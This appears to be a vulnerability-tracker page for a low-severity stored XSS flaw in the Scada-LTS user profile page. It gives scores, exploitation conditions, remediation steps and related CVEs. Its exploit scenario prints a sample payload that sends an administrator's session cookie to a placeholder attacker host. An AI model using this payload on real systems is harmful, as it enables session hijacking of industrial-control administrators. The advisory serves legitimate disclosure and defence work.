Skip to main content

Scada-LTS CVE-2025-7729

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-17 cna@vuldb.com
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Scada-LTS
  2. Delivery
    Navigate to user profile creation
  3. Exploit
    Inject XSS payload in Username field
  4. Install
    Submit profile
  5. C2
    Share/trick admin to view profile
  6. Execute
    XSS payload executes in victim browser
  7. Impact
    Steal session/data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) valid authentication to Scada-LTS instance (verified by CVSS PR:L), (2) ability to set or modify a custom Username value during user profile creation or update, (3) a victim user must navigate to or be directed to the usersProfiles.shtm page containing the poisoned profile (verified by CVSS UI:P), (4) victim's browser must execute JavaScript and allow inline script execution (mitigated by CSP if deployed). Exploitation is limited to authenticated users only - unauthenticated remote attackers cannot directly inject payloads. The vulnerability does NOT affect confidentiality, integrity of system data, or availability (CVSS VC:N/VI:L/VA:N), meaning the XSS impact is primarily limited to session hijacking or defacement rather than system compromise. Non-default configurations or air-gapped deployments with no external web access significantly reduce risk.

Impact

This vulnerability presents LOW real-world risk despite public exploit availability, driven by multiple restrictive exploitation conditions. The CVSS v4.0 vector (PR:L/UI:P) mandates both authentication and user interaction, significantly limiting the attack surface. The EPSS score of 0.05% (15th percentile) confirms low exploitation probability in the wild, suggesting the vulnerability remains primarily a theoretical concern rather than an active threat. The attack requires: (1) valid Scada-LTS credentials, (2) ability to modify one's own username during profile creation/update, and (3) a victim user who visits the attacker's poisoned profile page. No CISA KEV listing is indicated, and exploitation would likely target internal administrative users rather than external threat actors. Organizations running Scada-LTS in isolated industrial networks with restricted user provisioning face minimal risk; publicly accessible instances or those with permissive account creation policies face moderate risk only with social engineering to trigger victim visits.

Exploit ScenarioDerived

An authenticated attacker with user account access creates or updates their profile with a malicious Username value such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator visits the users management page to view all profiles, the XSS payload executes in the admin's browser, stealing session cookies or performing actions as the administrator. Alternatively, the attacker could craft a username containing event-handler JavaScript that triggers on profile page load, exfiltrating SCADA system information or injecting further malware.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Stored cross-site scripting (XSS) in Scada-LTS up to version 2.7.8.1 allows authenticated remote attackers to inject malicious scripts via the Username parameter in the usersProfiles.shtm file, with user interaction required to trigger payload execution. The vulnerability has a very low CVSS score (2.0) due to authentication and user interaction requirements, but public exploit code is available and vendor has confirmed remediation in version 2.8.0.

RemediationAI

Upgrade to Scada-LTS version 2.8.0 or later once available from the vendor. Until the patched version is released, apply compensating controls: (1) Implement strict HTML/JavaScript output encoding for all user-supplied input, especially the Username field in usersProfiles.shtm, by modifying the template to escape special characters before rendering; (2) Restrict administrative access to the user profiles page to trusted IP addresses or VPN networks using firewall or web application firewall (WAF) rules; (3) Disable or restrict user self-service profile editing capabilities if business requirements permit, forcing administrators to manage usernames via backend systems only; (4) Implement Content Security Policy (CSP) headers to prevent inline script execution; (5) Apply the principle of least privilege to limit which users can create or modify usernames. Each mitigation trades convenience for security - IP restrictions reduce remote access flexibility, disabling self-service impacts user experience, and CSP may require code refactoring.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the usersProfiles.shtm file, a web interface component of Scada-LTS (an industrial SCADA monitoring and control system). The root cause is improper input validation and output encoding of the Username parameter, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). When user-supplied input from the Username field is reflected in HTTP responses without proper HTML/JavaScript encoding, an attacker with valid credentials can craft a malicious username containing script tags that execute in the victim's browser context when the profile page is viewed.

Know when Scada Lts gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability classified as problematic was found in Scada-LTS up to 2.7.8.1. Affected by this vulnerability is an unknown functionality of the file usersProfiles.shtm. The manipulation of the argument Username leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this issue and confirmed that it will be fixed in the upcoming release 2.8.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:scada-lts:scada-lts:*:*:*:*:*:*:*:*
CVE-2023-33472 HIGH POC
8.8 Jan 13

An issue was discovered in Scada-LTS v2.7.5.2 build 4551883606 and before, allows remote attackers with low-level authen

CVE-2026-19656 CRITICAL
9.9 Aug 12

Privileged remote code execution in ScadaLTS 2.7.8.1 lets any authenticated user - including accounts holding only low-p

CVE-2026-84860 HIGH
8.8 Sep 16

Authorization bypass in ScadaLTS 2.8.1-release-candidate build 0 lets any authenticated user invoke restricted DWR metho

CVE-2026-84858 HIGH
8.8 Sep 16

Authenticated remote code execution in ScadaLTS 2.8.1-release-candidate build 0 allows any holder of a low-privilege acc

CVE-2026-84859 MEDIUM
6.5 Sep 16

Authenticated blind SQL injection in ScadaLTS 2.8.1-release-candidate build 0 lets any logged-in user with the lowest pr

CVE-2026-19657 MEDIUM
6.1 Aug 12

Reflected cross-site scripting in ScadaLTS 2.7.8.1 enables an unauthenticated remote attacker to execute arbitrary JavaS

CVE-2025-13791 LOW POC
2.1 Nov 30

A vulnerability was identified in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.3), this vulnerability is remot

CVE-2025-13790 LOW POC
2.1 Nov 30

A vulnerability was determined in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.3), this vulnerability is remot

CVE-2025-9139 LOW POC
2.1 Aug 19

A vulnerability was determined in Scada-LTS 2.7.8.1. Rated medium severity (CVSS 5.3), this vulnerability is remotely ex

CVE-2025-7728 LOW POC
2.0 Jul 17

Stored cross-site scripting (XSS) in Scada-LTS up to 2.7.8.1 allows authenticated users to inject malicious scripts via

CVE-2025-9137 LOW POC
2.0 Aug 19

A vulnerability has been found in Scada-LTS 2.7.8.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely ex

CVE-2025-9388 LOW POC
2.0 Aug 24

A vulnerability was determined in Scada-LTS up to 2.7.8.1. Rated medium severity (CVSS 5.1), this vulnerability is remot

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy